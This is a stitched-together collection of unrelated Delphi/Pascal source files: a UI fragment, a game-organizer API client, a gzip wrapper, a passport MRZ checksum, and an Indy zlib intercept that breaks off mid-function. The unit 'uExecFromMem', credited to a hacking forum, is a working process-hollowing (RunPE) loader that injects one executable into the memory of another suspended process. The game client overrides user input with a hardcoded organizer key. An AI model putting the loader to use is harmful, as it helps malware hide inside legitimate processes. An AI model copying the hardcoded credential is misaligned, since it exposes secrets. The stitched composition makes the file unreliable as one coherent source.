lblException.Text := Format('%s [Lua Error] Title: "%s", Line: %d, Message: %s', [TimeToStr(Now), ATitle, ALine, AMessage]);
ShowExceptionPanel;
end;
procedure TfrmMain.ShowExceptionPanel;
begin
cpException.Width := Width;
cpException.BringToFront;
cpException.AnimateFloat('Position.Y', 0.10, 0.25);
cpException.AnimateFloatDelay('Position.Y', -51.00, 0.50, 5.25);
end;
procedure TfrmMain.btnExceptionHideClick(Sender: TObject);
begin
cpException.AnimateFloat('Position.Y', -51.00, 0.25);
end;
end.
|
{
Unit Name: uExecFromMem
Author: steve10120
Description: Run an executable from another's memory.
Credits: Tan Chew Keong: Dynamic Forking of Win32 EXE; Author of BTMemoryModule: PerformBaseRelocation().
Reference: security.org.sg/code/loadexe.html
Release Date: 26th August 2009
Website: hackhound.org
History: First try
}
unit uExecFromMem;
interface
uses Windows;
function ExecuteFromMem(szFilePath:string; pFile:Pointer):DWORD;
type
PImageBaseRelocation = ^TImageBaseRelocation;
TImageBaseRelocation = packed record
VirtualAddress: DWORD;
SizeOfBlock: DWORD;
end;
function NtUnmapViewOfSection(ProcessHandle:DWORD; BaseAddress:Pointer):DWORD; stdcall; external 'ntdll';
implementation
procedure PerformBaseRelocation(f_module: Pointer; INH:PImageNtHeaders; f_delta: Cardinal); stdcall;
var
l_i: Cardinal;
l_codebase: Pointer;
l_relocation: PImageBaseRelocation;
l_dest: Pointer;
l_relInfo: ^Word;
l_patchAddrHL: ^DWord;
l_type, l_offset: integer;
begin
l_codebase := f_module;
if INH^.OptionalHeader.DataDirectory[5].Size > 0 then
begin
l_relocation := PImageBaseRelocation(Cardinal(l_codebase) + INH^.OptionalHeader.DataDirectory[5].VirtualAddress);
while l_relocation.VirtualAddress > 0 do
begin
l_dest := Pointer((Cardinal(l_codebase) + l_relocation.VirtualAddress));
l_relInfo := Pointer(Cardinal(l_relocation) + 8);
for l_i := 0 to (trunc(((l_relocation.SizeOfBlock - 8) / 2)) - 1) do
begin
l_type := (l_relInfo^ shr 12);
l_offset := l_relInfo^ and $FFF;
if l_type = 3 then
begin
l_patchAddrHL := Pointer(Cardinal(l_dest) + Cardinal(l_offset));
l_patchAddrHL^ := l_patchAddrHL^ + f_delta;
end;
inc(l_relInfo);
end;
l_relocation := Pointer(cardinal(l_relocation) + l_relocation.SizeOfBlock);
end;
end;
end;
function AlignImage(pImage:Pointer):Pointer;
var
IDH: PImageDosHeader;
INH: PImageNtHeaders;
ISH: PImageSectionHeader;
i: WORD;
begin
IDH := pImage;
INH := Pointer(DWORD(pImage) + IDH^._lfanew);
GetMem(Result, INH^.OptionalHeader.SizeOfImage);
ZeroMemory(Result, INH^.OptionalHeader.SizeOfImage);
CopyMemory(Result, pImage, INH^.OptionalHeader.SizeOfHeaders);
for i := 0 to INH^.FileHeader.NumberOfSections - 1 do
begin
ISH := Pointer(DWORD(pImage) + IDH^._lfanew + 248 + i * 40);
CopyMemory(Pointer(DWORD(Result) + ISH^.VirtualAddress), Pointer(DWORD(pImage) + ISH^.PointerToRawData), ISH^.SizeOfRawData);
end;
end;
function ExecuteFromMem(szFilePath:string; pFile:Pointer):DWORD;
var
PI: TProcessInformation;
SI: TStartupInfo;
CT: TContext;
IDH: PImageDosHeader;
INH: PImageNtHeaders;
dwImageBase: DWORD;
pModule: Pointer;
dwNull: DWORD;
begin
Result := 0;
IDH := pFile;
if IDH^.e_magic = IMAGE_DOS_SIGNATURE then
begin
INH := Pointer(DWORD(pFile) + IDH^._lfanew);
if INH^.Signature = IMAGE_NT_SIGNATURE then
begin
FillChar(SI, SizeOf(TStartupInfo), #0);
FillChar(PI, SizeOf(TProcessInformation), #0);
SI.cb := SizeOf(TStartupInfo);
if CreateProcess(nil, PChar(szFilePath), nil, nil, FALSE, CREATE_SUSPENDED, nil, nil, SI, PI) then
begin
CT.ContextFlags := CONTEXT_FULL;
if GetThreadContext(PI.hThread, CT) then
begin
ReadProcessMemory(PI.hProcess, Pointer(CT.Ebx + 8), @dwImageBase, 4, dwNull);
if dwImageBase = INH^.OptionalHeader.ImageBase then
begin
if NtUnmapViewOfSection(PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase)) = 0 then
pModule := VirtualAllocEx(PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase), INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE)
else
pModule := VirtualAllocEx(PI.hProcess, nil, INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
end
else
pModule := VirtualAllocEx(PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase), INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if pModule <> nil then
begin
pFile := AlignImage(pFile);
if DWORD(pModule) <> INH^.OptionalHeader.ImageBase then
begin
PerformBaseRelocation(pFile, INH, (DWORD(pModule) - INH^.OptionalHeader.ImageBase));
INH^.OptionalHeader.ImageBase := DWORD(pModule);
CopyMemory(Pointer(DWORD(pFile) + IDH^._lfanew), INH, 248);
end;
WriteProcessMemory(PI.hProcess, pModule, pFile, INH.OptionalHeader.SizeOfImage, dwNull);
WriteProcessMemory(PI.hProcess, Pointer(CT.Ebx + 8), @pModule, 4, dwNull);
CT.Eax := DWORD(pModule) + INH^.OptionalHeader.AddressOfEntryPoint;
SetThreadContext(PI.hThread, CT);
ResumeThread(PI.hThread);
FreeMem(pFile, INH^.OptionalHeader.SizeOfImage);
Result := PI.hThread;
end;
end;
end;
end;
end;
end;
end. |
program Exceptions;
{$codepage utf8}
uses
Crt,
Classes,
SysUtils,
HTTPDefs,
fpHTTP,
fpWeb,
fphttpclient,
fpjson,
jsonparser,
httpprotocol;
type
PHistoryRecord = ^THistoryRecord;
THistoryRecord = record
Input, Output: string;
Next: PHistoryRecord;
end;
TResponse = record
StatusCode: integer;
Body: TJSONData;
end;
TActionResult = record
Team: TJSONData;
Result: string;
end;
TTeamInputHistory = record
Team: TJSONData;
History: PHistoryRecord;
end;
var
GameCode, OrgKey: string;
Teams: TJSONArray;
Team: TJSONData;
IsAuthenticated: boolean;
function QueryAPI(Method, Path: string; State: integer): TResponse;
var
HTTP: TFPHTTPClient;
SS: TStringStream;
begin
try
try
HTTP := TFPHttpClient.Create(nil);
SS := TStringStream.Create('');
HTTP.AddHeader('Authorization', 'JWT ' + OrgKey);
HTTP.AddHeader('Content-Type', 'application/json');
if State <> 0 then
HTTP.RequestBody := TStringStream.Create('{"state":' + IntToStr(State) + '}');
HTTP.HTTPMethod(Method, 'https://game-mock.herokuapp.com/games/' +
GameCode + Path, SS, [200, 201, 400, 401, 404, 500, 505]);
//HTTP.RequestHeaders[3]
Result.StatusCode := HTTP.ResponseStatusCode;
Result.Body := GetJSON(SS.Datastring);
except
on E: Exception do
// WriteLn(E.Message);
end;
finally
SS.Free;
HTTP.Free;
end;
end;
function AuthenticationCheck(): boolean;
var
Response: TResponse;
begin
Write('Enter gamecode: ');
Readln(GameCode);
GameCode := 'bgi63c';
Write('Enter organizer key: ');
Readln(OrgKey);
OrgKey := 'bti34tbri8t34rtdbiq34tvdri6qb3t4vrdtiu4qv';
Response := QueryAPI('GET', '/teams', 0);
case Response.StatusCode of
200:
begin
WriteLn('Success');
Teams := TJSONArray(Response.Body);
Result := True;
end;
401:
begin
WriteLn('Špatný klíč organizátora');
Result := False;
end;
404:
begin
WriteLn('Špatný kód hry');
Result := False;
end;
else
begin
WriteLn('Chyba serveru - můžete začít panikařit');
Result := False;
end;
end;
end;
procedure PrintMoves(Moves: TJSONData);
var
Move: TJSONData;
i: integer;
begin
WriteLn('Možné pohyby:');
for i := 0 to Moves.Count - 1 do
begin
Move := Moves.FindPath('[' + i.ToString() + ']');
WriteLn(' ' + IntToStr(Move.FindPath('id').AsQWord) + ') ' +
Move.FindPath('name').AsString);
end;
end;
procedure PrintTeam(Team: TJSONData);
var
Number, StateRecord, Name: string;
begin
Number := IntToStr(Team.FindPath('number').AsQWord);
Name := Team.FindPath('name').AsString;
StateRecord := Team.FindPath('stateRecord').AsString;
WriteLn(Number + '. ' + Name);
TextBackground(lightGreen);
TextColor(White);
WriteLn(' ' + StateRecord + ' ');
TextBackground(Black);
TextColor(White);
PrintMoves(Team.FindPath('possibleMoves'));
end;
function ReverseMove(Team: TJSONData): TActionResult;
var
Id: string;
Response: TResponse;
begin
Id := Team.FindPath('id').AsString;
Response := QueryAPI('DELETE', '/teams/' + Id + '/state', 0);
if Response.StatusCode <> 200 then
begin
Result.Result := 'POZOR!: Vrácení pohybu se nezdařilo.';
Result.Team := Team;
end
else
begin
Result.Result := 'Success';
Result.Team := Response.Body;
end;
end;
procedure CheckMoveId(Team: TJSONData; MoveId: integer);
var
Moves: TJSONData;
Possible: boolean;
i: integer;
begin
Possible := False;
Moves := Team.FindPath('possibleMoves');
for i := 0 to Moves.Count - 1 do
begin
if Moves.FindPath('[' + i.ToString() + '].id').AsInteger = MoveId then
Possible := True;
end;
if not Possible then
raise EConvertError.Create('POZOR!: Neplatné číslo pohybu');
end;
function MoveTeam(Team: TJSONData; Move: string): TActionResult;
var
Number: string;
Response: TResponse;
MoveId: integer;
begin
Number := Team.FindPath('id').AsString;
try
MoveId := StrToInt(Move);
CheckMoveId(Team, MoveId);
Response := QueryAPI('POST', '/teams/' + Number + '/state', MoveId);
if Response.StatusCode <> 200 then
begin
Result.Result := 'POZOR!: Zadání pohybu se nezdařilo.';
Result.Team := Team;
end
else
begin
Result.Result := 'Success';
Result.Team := Response.Body;
end;
except
on E: EConvertError do
begin
Result.Result := 'POZOR!: Neplatné číslo pohybu';
Result.Team := Team;
end;
end;
end;
function TeamNumberTranslate(TeamNumber: integer): integer;
var
i: integer;
begin
Result := 0;
for i := 0 to Teams.Count - 1 do
begin
Team := Teams.FindPath('[' + i.ToString() + ']');
if Team.FindPath('number').AsInteger = TeamNumber then
begin
Result := Team.FindPath('id').AsInteger;
Exit;
end;
end;
end;
procedure AppendHistoryRecord(var InputHistory: TTeamInputHistory;
Action: string; ActionResult: TActionResult);
var
HistoryRecord, Current: PHistoryRecord;
begin
new(HistoryRecord);
HistoryRecord^.Input := Action;
HistoryRecord^.Output := ActionResult.Result;
HistoryRecord^.Next := nil;
if InputHistory.History = nil then
InputHistory.History := HistoryRecord
else
begin
Current := InputHistory.History;
while Current^.Next <> nil do
begin
Current := Current^.Next;
end;
Current^.Next := HistoryRecord;
end;
end;
procedure PrintInputHistory(HistoryRecord: PHistoryRecord);
var
Current: PHistoryRecord;
begin
Current := HistoryRecord;
while Current <> nil do
begin
WriteLn('Zadej číslo pohybu: ' + Current^.Input);
WriteLn(Current^.Output);
Current := Current^.Next;
end;
end;
procedure RedrawScreen(TeamInputHistory: TTeamInputHistory);
begin
clrscr;
WriteLn('Zadej číslo týmu: ' + TeamInputHistory.Team.FindPath('number').AsString);
PrintTeam(TeamInputHistory.Team);
PrintInputHistory(TeamInputHistory.History);
end;
procedure ManageMoveInput(Team: TJSONData);
var
MoveInput: string;
InputHistory: TTeamInputHistory;
ActionResult: TActionResult;
begin
InputHistory.Team := Team;
while True do
begin
Write('Zadej číslo pohybu: ');
ReadLn(MoveInput);
MoveInput := Upcase(Trim(MoveInput));
case MoveInput of
'':
Exit;
'R':
begin
ActionResult := ReverseMove(Team);
end
else
ActionResult := MoveTeam(Team, MoveInput);
end;
InputHistory.Team := ActionResult.Team;
AppendHistoryRecord(InputHistory, MoveInput, ActionResult);
RedrawScreen(InputHistory);
end;
end;
procedure ManageInput;
var
TeamNumber: integer;
TeamResponse: TResponse;
begin
while True do
begin
clrscr;
Write('Zadej číslo týmu: ');
Readln(TeamNumber);
TeamResponse := QueryAPI('GET', '/teams/' +
IntToStr(TeamNumberTranslate(TeamNumber)), 0);
if TeamResponse.StatusCode <> 200 then
begin
WriteLn('POZOR!: Neznámý tým');
Continue;
end;
PrintTeam(TeamResponse.Body);
ManageMoveInput(TeamResponse.Body);
end;
end;
begin
IsAuthenticated := False;
while not IsAuthenticated do
IsAuthenticated := AuthenticationCheck();
ManageInput();
Readln;
Readln;
end.
|
unit gzipWrap;
interface
uses
SDUGeneral,
zlibex, zlibexgz;
function gzip_Compression(
source: string;
destination: string;
compressNotDecompress: boolean;
compressionLevel: TZCompressionLevel = zcNone;
startOffset: int64 = 0; // Only valid when compressing
compressedFilename: string = 'compressed.dat'; // Only valid when compressing
length: int64 = -1;
blocksize: int64 = 4096;
callback: TCopyProgressCallback = nil
): boolean;
function GZLibCompressionLevelTitle(compressionLevel: TZCompressionLevel): string;
implementation
uses
Windows, Classes, sysutils;
resourcestring
ZCCOMPRESSLVL_NONE = 'None';
ZCCOMPRESSLVL_FASTEST = 'Fastest';
ZCCOMPRESSLVL_DEFAULT = 'Default';
ZCCOMPRESSLVL_MAX = 'Max';
ZCCOMPRESSLVL_LEVEL1 = 'Level1';
ZCCOMPRESSLVL_LEVEL2 = 'Level2';
ZCCOMPRESSLVL_LEVEL3 = 'Level3';
ZCCOMPRESSLVL_LEVEL4 = 'Level4';
ZCCOMPRESSLVL_LEVEL5 = 'Level5';
ZCCOMPRESSLVL_LEVEL6 = 'Level6';
ZCCOMPRESSLVL_LEVEL7 = 'Level7';
ZCCOMPRESSLVL_LEVEL8 = 'Level8';
ZCCOMPRESSLVL_LEVEL9 = 'Level9';
const
GZLibCompressionLevelTitlePtr: array [TZCompressionLevel] of Pointer = (
@ZCCOMPRESSLVL_NONE,
@ZCCOMPRESSLVL_FASTEST,
@ZCCOMPRESSLVL_DEFAULT,
@ZCCOMPRESSLVL_MAX,
@ZCCOMPRESSLVL_LEVEL1,
@ZCCOMPRESSLVL_LEVEL2,
@ZCCOMPRESSLVL_LEVEL3,
@ZCCOMPRESSLVL_LEVEL4,
@ZCCOMPRESSLVL_LEVEL5,
@ZCCOMPRESSLVL_LEVEL6,
@ZCCOMPRESSLVL_LEVEL7,
@ZCCOMPRESSLVL_LEVEL8,
@ZCCOMPRESSLVL_LEVEL9
);
function GZLibCompressionLevelTitle(compressionLevel: TZCompressionLevel): string;
begin
Result := LoadResString(GZLibCompressionLevelTitlePtr[compressionLevel]);
end;
// ----------------------------------------------------------------------------
// compressNotDecompress - Set to TRUE to compress, FALSE to decompress
// compressionLevel - Only used if compressNotDecompress is TRUE
// length - Set to -1 to copy until failure
function gzip_Compression(
source: string;
destination: string;
compressNotDecompress: boolean;
compressionLevel: TZCompressionLevel = zcNone;
startOffset: int64 = 0; // Only valid when compressing
compressedFilename: string = 'compressed.dat'; // Only valid when compressing
length: int64 = -1;
blocksize: int64 = 4096;
callback: TCopyProgressCallback = nil
): boolean;
var
allOK: boolean;
numberOfBytesRead, numberOfBytesWritten: DWORD;
finished: boolean;
copyCancelFlag: boolean;
totalBytesCopied: int64;
stmFileInput: TFileStream;
stmFileOutput: TFileStream;
stmInput: TStream;
stmOutput: TStream;
stmCompress: TGZCompressionStream;
stmDecompress: TGZDecompressionStream;
buffer: PChar;
begin
// CompFileStream := TFileStream.Create(source, fmOpenRead);// OR fmShareDenyWrite);
// FileStream := TFileStream.Create(destination, fmCreate);
allOK := TRUE;
copyCancelFlag := FALSE;
stmCompress := nil;
stmDecompress := nil;
try
stmFileInput := TFileStream.Create(source, fmOpenRead);
except
stmFileInput := nil;
end;
if (stmFileInput = nil) then
begin
raise EExceptionBadSrc.Create('Can''t open source');
end;
try
try
try
// Try to create new...
stmFileOutput := TFileStream.Create(destination, fmCreate);
except
// Fallback to trying to open existing for write...
stmFileOutput := TFileStream.Create(destination, fmOpenWrite);
end;
except
stmFileOutput := nil;
end;
if (stmFileOutput = nil) then
begin
raise EExceptionBadDest.Create('Can''t open destination');
end;
try
if compressNotDecompress then
begin
stmCompress:= TGZCompressionStream.Create(stmFileOutput, compressionLevel);
// stmCompress:= TGZCompressionStream.Create(stmFileOutput, 'myfile.txt', '', Now());
stmInput:= stmFileInput;
stmOutput:= stmCompress;
if (length < 0) then
begin
length := stmFileInput.Size;
end;
stmInput.Position := startOffset;
end
else
begin
stmDecompress:= TGZDecompressionStream.Create(stmFileInput);
stmInput:= stmDecompress;
stmOutput:= stmFileOutput;
// length := stmDecompress.Size;
// length := 0;
// stmDecompress.Position := 0;
blocksize := 4096; // Decompressing requires a blocksize of 4096?!
end;
totalBytesCopied := 0;
if assigned(callback) then
begin
callback(totalBytesCopied, copyCancelFlag);
end;
buffer := AllocMem(blocksize);
try
finished := FALSE;
while not(finished) do
begin
if compressNotDecompress then
begin
numberOfBytesRead := stmInput.Read(buffer^, blocksize);
end
else
begin
numberOfBytesRead := stmDecompress.Read(buffer^, blocksize);
end;
// If we read was successful, and we read some bytes, we haven't
// finished yet...
finished := (numberOfBytesRead <= 0);
if (numberOfBytesRead>0) then
begin
// If we've got a limit to the number of bytes we should copy...
if (length >= 0) then
begin
if ((totalBytesCopied+numberOfBytesRead) > length) then
begin
numberOfBytesRead := length - totalBytesCopied;
end;
end;
numberOfBytesWritten := stmOutput.Write(buffer^, numberOfBytesRead);
if (numberOfBytesRead <> numberOfBytesWritten) then
begin
raise EExceptionWriteError.Create('Unable to write data to output');
end;
totalBytesCopied := totalBytesCopied + numberOfBytesWritten;
if assigned(callback) then
begin
callback(totalBytesCopied, copyCancelFlag);
end;
if (
(length >= 0) and
(totalBytesCopied >= length)
) then
begin
finished := TRUE;
end;
// Check for user cancel
if copyCancelFlag then
begin
raise EExceptionUserCancel.Create('User cancelled operation.');
end;
end;
end;
finally
FreeMem(buffer);
end;
finally
if (
compressNotDecompress and
(stmCompress <> nil)
) then
begin
stmCompress.Free();
end;
stmFileOutput.Free();
end;
finally
if (
not(compressNotDecompress) and
(stmDecompress <> nil)
) then
begin
stmDecompress.Free();
end;
stmFileInput.Free();
end;
Result := allOK;
end;
END.
|
unit PassMRZChk;
interface
implementation
function CheckPassportDigit(const PassportStr: string): byte;
const
Weight: array [0 .. 2] of byte = (1, 7, 3);
//
function GetChrProductXWeight(DigitChr: Char; const Idx: byte): byte;
begin
DigitChr := UpCase(DigitChr);
case DigitChr of
'<':
Result := 0;
'0' .. '9':
Result := (Ord(DigitChr) - 48);
'A' .. 'Z':
Result := (Ord(DigitChr) - 65) + 10;
else
Result := 0;
end;
Result := Result * Weight[(Idx mod 3)];
end;
var
i: byte;
ProductXWeight: byte;
Sum: Word;
begin
Sum := 0;
if Length(PassportStr) = 0 then
exit(0);
for i := 1 to Length(PassportStr) do
begin
ProductXWeight := GetChrProductXWeight(PassportStr[i], (i mod 3));
Sum := Sum + ProductXWeight;
end;
Result := (Sum mod 10);
end;
end.
|
unit IdCompressionIntercept;
{ This file implements an Indy intercept component that compresses a data
stream using the open-source zlib compression library. In order for this
file to compile on Windows, the follow .obj files *must* be provided as
delivered with this file:
deflate.obj
inflate.obj
inftrees.obj
trees.obj
adler32.obj
infblock.obj
infcodes.obj
infutil.obj
inffast.obj
On Linux, the shared-object file libz.so.1 *must* be available on the
system. Most modern Linux distributions include this file.
Simply set the CompressionLevel property to a value between 1 and 9 to
enable compressing of the data stream. A setting of 0(zero) disables
compression and the component is dormant. The sender *and* received must
have compression enabled in order to properly decompress the data stream.
They do *not* have to use the same CompressionLevel as long as they are
both set to a value between 1 and 9.
Original Author: Allen Bauer
This source file is submitted to the Indy project on behalf of Borland
Sofware Corporation. No warranties, express or implied are given with
this source file.
}
{
You may sometimes get the following compiler errors with this file:
IdCompressionIntercept.pas(331) Error: Incompatible types
IdCompressionIntercept.pas(152) Error: Unsatisfied forward or external declaration: '_tr_init'
IdCompressionIntercept.pas(153) Error: Unsatisfied forward or external declaration: '_tr_tally'
IdCompressionIntercept.pas(154) Error: Unsatisfied forward or external declaration: '_tr_flush_block'
IdCompressionIntercept.pas(155) Error: Unsatisfied forward or external declaration: '_tr_align'
IdCompressionIntercept.pas(156) Error: Unsatisfied forward or external declaration: '_tr_stored_block'
IdCompressionIntercept.pas(157) Error: Unsatisfied forward or external declaration: 'adler32'
IdCompressionIntercept.pas(158) Error: Unsatisfied forward or external declaration: 'inflate_blocks_new'
IdCompressionIntercept.pas(159) Error: Unsatisfied forward or external declaration: 'inflate_blocks'
IdCompressionIntercept.pas(160) Error: Unsatisfied forward or external declaration: 'inflate_blocks_reset'
IdCompressionIntercept.pas(161) Error: Unsatisfied forward or external declaration: 'inflate_blocks_free'
IdCompressionIntercept.pas(162) Error: Unsatisfied forward or external declaration: 'inflate_set_dictionary'
IdCompressionIntercept.pas(163) Error: Unsatisfied forward or external declaration: 'inflate_trees_bits'
IdCompressionIntercept.pas(164) Error: Unsatisfied forward or external declaration: 'inflate_trees_dynamic'
IdCompressionIntercept.pas(165) Error: Unsatisfied forward or external declaration: 'inflate_trees_fixed'
IdCompressionIntercept.pas(166) Error: Unsatisfied forward or external declaration: 'inflate_trees_free'
IdCompressionIntercept.pas(167) Error: Unsatisfied forward or external declaration: 'inflate_codes_new'
IdCompressionIntercept.pas(168) Error: Unsatisfied forward or external declaration: 'inflate_codes'
IdCompressionIntercept.pas(169) Error: Unsatisfied forward or external declaration: 'inflate_codes_free'
IdCompressionIntercept.pas(170) Error: Unsatisfied forward or external declaration: '_inflate_mask'
IdCompressionIntercept.pas(171) Error: Unsatisfied forward or external declaration: 'inflate_flush'
IdCompressionIntercept.pas(172) Error: Unsatisfied forward or external declaration: 'inflate_fast'
IdCompressionIntercept.pas(189) Error: Unsatisfied forward or external declaration: 'deflateInit_'
IdCompressionIntercept.pas(196) Error: Unsatisfied forward or external declaration: 'deflate'
IdCompressionIntercept.pas(203) Error: Unsatisfied forward or external declaration: 'deflateEnd'
IdCompressionIntercept.pas(213) Error: Unsatisfied forward or external declaration: 'inflateInit_'
IdCompressionIntercept.pas(220) Error: Unsatisfied forward or external declaration: 'inflate'
IdCompressionIntercept.pas(227) Error: Unsatisfied forward or external declaration: 'inflateEnd'
IdCompressionIntercept.pas(234) Error: Unsatisfied forward or external declaration: 'inflateReset'
Indy40.dpk(196) Fatal: Could not compile used unit 'IdCompressionIntercept.pas'
Do not be alarmed. This is due to a bug in DCC32 in Delphi 4, 5, 6, plus C++Builder, 4, 5, and 6.
There is a workaround for this issue. The workaround is to compile this unit separately from the other units and than build
Indy with a command such as DCC32 using the /M parameter. DO not use the /B parameter as that does force everything
to be recompiled triggering the DCC32 error.
The batch files FULLC4.BAT, FULLC5.BAT, FULLC6.BAT, FULLD4.BAT, FULLD5.BAT and FULLD6.BAT now have the workaround in them so
we recommend that you use those to build Indy.
Borland is aware of the issue.
}
interface
{$I IdCompilerDefines.inc}
{$IFDEF USEZLIBUNIT}
uses Classes, ZLib, IdException, IdTCPClient, IdGlobal, IdTCPConnection, IdIntercept;
{$ELSE}
uses Classes, IdException, IdTCPClient, IdGlobal, IdTCPConnection, IdIntercept;
{$ENDIF}
type
{$IFNDEF USEZLIBUNIT}
TAlloc = function (AppData: Pointer; Items, Size: Integer): Pointer;
{$IFDEF MSWINDOWS}
register;
{$ENDIF}
{$IFDEF LINUX}
cdecl;
{$ENDIF}
TFree = procedure (AppData, Block: Pointer);
{$IFDEF MSWINDOWS}
register;
{$ENDIF}
{$IFDEF LINUX}
cdecl;
{$ENDIF}
// Internal structure. Ignore.
TZStreamRec = packed record
next_in: PChar; // next input byte
avail_in: Integer; // number of bytes available at next_in
total_in: Integer; // total nb of input bytes read so far
next_out: PChar; // next output byte should be put here
avail_out: Integer; // remaining free space at next_out
total_out: Integer; // total nb of bytes output so far
msg: PChar; // last error message, NULL if no error
internal: Pointer; // not visible by applications
zalloc: TAlloc; // used to allocate the internal state
zfree: TFree; // used to free the internal state
AppData: Pointer; // private data object passed to zalloc and zfree
data_type: Integer; // best guess about the data type: ascii or binary
adler: Integer; // adler32 value of the uncompressed data
reserved: Integer; // reserved for future use
end;
{$ENDIF}
EIdCompressionException = class(EIdException);
EIdCompressorInitFailure = class(EIdCompressionException);
EIdDecompressorInitFailure = class(EIdCompressionException);
EIdCompressionError = class(EIdCompressionException);
EIdDecompressionError = class(EIdCompressionException);
TCompressionLevel = 0..9;
TIdCompressionIntercept = class(TIdConnectionIntercept)
private
FCompressionLevel: TCompressionLevel;
FCompressRec: TZStreamRec;
FDecompressRec: TZStreamRec;
FRecvBuf: Pointer;
FRecvCount, FRecvSize: Integer;
FSendBuf: Pointer;
FSendCount, FSendSize: Integer;
procedure SetCompressionLevel(Value: TCompressionLevel);
procedure InitCompressors;
procedure DeinitCompressors;
public
destructor Destroy; override;
procedure Receive(ABuffer: TStream); override;
procedure Send(ABuffer: TStream); override;
published
property CompressionLevel: TCompressionLevel read FCompressionLevel write SetCompressionLevel;
end;
implementation
uses IdResourceStrings, SysUtils;
{$IFNDEF USEZLIBUNIT}
const
Z_NO_FLUSH = 0;
Z_PARTIAL_FLUSH = 1;
Z_SYNC_FLUSH = 2;
Z_FULL_FLUSH = 3;
Z_FINISH = 4;
Z_OK = 0;
Z_STREAM_END = 1;
Z_NEED_DICT = 2;
Z_ERRNO = (-1);
Z_STREAM_ERROR = (-2);
Z_DATA_ERROR = (-3);
Z_MEM_ERROR = (-4);
Z_BUF_ERROR = (-5);
Z_VERSION_ERROR = (-6);
Z_NO_COMPRESSION = 0;
Z_BEST_SPEED = 1;
Z_BEST_COMPRESSION = 9;
Z_DEFAULT_COMPRESSION = (-1);
Z_FILTERED = 1;
Z_HUFFMAN_ONLY = 2;
Z_DEFAULT_STRATEGY = 0;
Z_BINARY = 0;
Z_ASCII = 1;
Z_UNKNOWN = 2;
Z_DEFLATED = 8;
zlib_Version = '1.0.4'; {Do not Localize}
{$IFDEF LINUX}
zlib = 'libz.so.1'; {Do not Localize}
{$ENDIF}
{$IFDEF MSWINDOWS}
{$L deflate.obj}
{$L inflate.obj}
{$L inftrees.obj}
{$L trees.obj}
{$L adler32.obj}
{$L infblock.obj}
{$L infcodes.obj}
{$L infutil.obj}
{$L inffast.obj}
procedure _tr_init; external;
procedure _tr_tally; external;
procedure _tr_flush_block; external;
procedure _tr_align; external;
procedure _tr_stored_block; external;
procedure adler32; external;
procedure inflate_blocks_new; external;
procedure inflate_blocks; external;
procedure inflate_blocks_reset; external;
procedure inflate_blocks_free; external;
procedure inflate_set_dictionary; external;
procedure inflate_trees_bits; external;
procedure inflate_trees_dynamic; external;
procedure inflate_trees_fixed; external;
procedure inflate_trees_free; external;
procedure inflate_codes_new; external;
procedure inflate_codes; external;
procedure inflate_codes_free; external;
procedure _inflate_mask; external;
procedure inflate_flush; external;
procedure inflate_fast; external;
procedure _memset(P: Pointer; B: Byte; count: Integer); cdecl;
begin
FillChar(P^, count, B);
end;
procedure _memcpy(dest, source: Pointer; count: Integer); cdecl;
begin
Move(source^, dest^, count);
end;
{$ENDIF}
// deflate compresses data
function deflateInit_(var strm: TZStreamRec; level: Integer; version: PChar;
recsize: Integer): Integer;
{$IFDEF MSWINDOWS}
external;
{$ENDIF}
{$IFDEF LINUX}
cdecl; external zlib name 'deflateInit_'; {Do not Localize}
{$ENDIF}
function deflate(var strm: TZStreamRec; flush: Integer): Integer;
{$IFDEF MSWINDOWS}
external;
{$ENDIF}
{$IFDEF LINUX}
cdecl; external zlib name 'deflate'; {Do not Localize}
{$ENDIF}
function deflateEnd(var strm: TZStreamRec): Integer;
{$IFDEF MSWINDOWS}
external;
{$ENDIF}
{$IFDEF LINUX}
cdecl; external zlib name 'deflateEnd'; {Do not Localize}
{$ENDIF}
// inflate decompresses data
function inflateInit_(var strm: TZStreamRec; version: PChar;
recsize: Integer): Integer;
{$IFDEF MSWINDOWS}
external;
{$ENDIF}
{$IFDEF LINUX}
cdecl; external zlib name 'inflateInit_'; {Do not Localize}
{$ENDIF}
function inflate(var strm: TZStreamRec; flush: Integer): Integer;
{$IFDEF MSWINDOWS}
external;
{$ENDIF}
{$IFDEF LINUX}
cdecl; external zlib name 'inflate'; {Do not Localize}
{$ENDIF}
function inflateEnd(var strm: TZStreamRec): Integer;
{$IFDEF MSWINDOWS}
external;
{$ENDIF}
{$IFDEF LINUX}
cdecl; external zlib name 'inflateEnd'; {Do not Localize}
{$ENDIF}
function inflateReset(var strm: TZStreamRec): Integer;
{$IFDEF MSWINDOWS}
external;
{$ENDIF}
{$IFDEF LINUX}
cdecl; external zlib name 'inflateReset'; {Do not Localize}
{$ENDIF}
function zlibAllocMem(AppData: Pointer; Items, Size: Integer): Pointer;
{$IFDEF MSWINDOWS}
register;
{$ENDIF}
{$IFDEF LINUX}
cdecl;
{$ENDIF}
begin
Result := AllocMem(Items * Size);
end;
procedure zlibFreeMem(AppData, Block: Pointer);
{$IFDEF MSWINDOWS}
register;
{$ENDIF}
{$IFDEF LINUX}
cdecl;
{$ENDIF}
begin
FreeMem(Block);
end;
{$ENDIF}
{ TIdCompressionIntercept }
procedure TIdCompressionIntercept.DeinitCompressors;
begin
if Assigned(FCompressRec.zalloc) then
begin
deflateEnd(FCompressRec);
FillChar(FCompressRec, SizeOf(FCompressRec), 0);
end;
if Assigned(FDecompressRec.zalloc) then
begin
inflateEnd(FDecompressRec);
FillChar(FDecompressRec, SizeOf(FDecompressRec), 0);
end;
end;
destructor TIdCompressionIntercept.Destroy;
begin
DeinitCompressors;
FreeMem(FRecvBuf);
FreeMem(FSendBuf);
inherited;
end;
procedure TIdCompressionIntercept.InitCompressors;
begin
if not Assigned(FCompressRec.zalloc) then
begin
FCompressRec.zalloc := zlibAllocMem;
FCompressRec.zfree := zlibFreeMem;
if deflateInit_(FCompressRec, FCompressionLevel, zlib_Version, SizeOf(FCompressRec)) <> Z_OK then
begin
raise EIdCompressorInitFailure.Create(RSZLCompressorInitializeFailure);
end;
end;
if not Assigned(FDecompressRec.zalloc) then
begin
FDecompressRec.zalloc := zlibAllocMem;
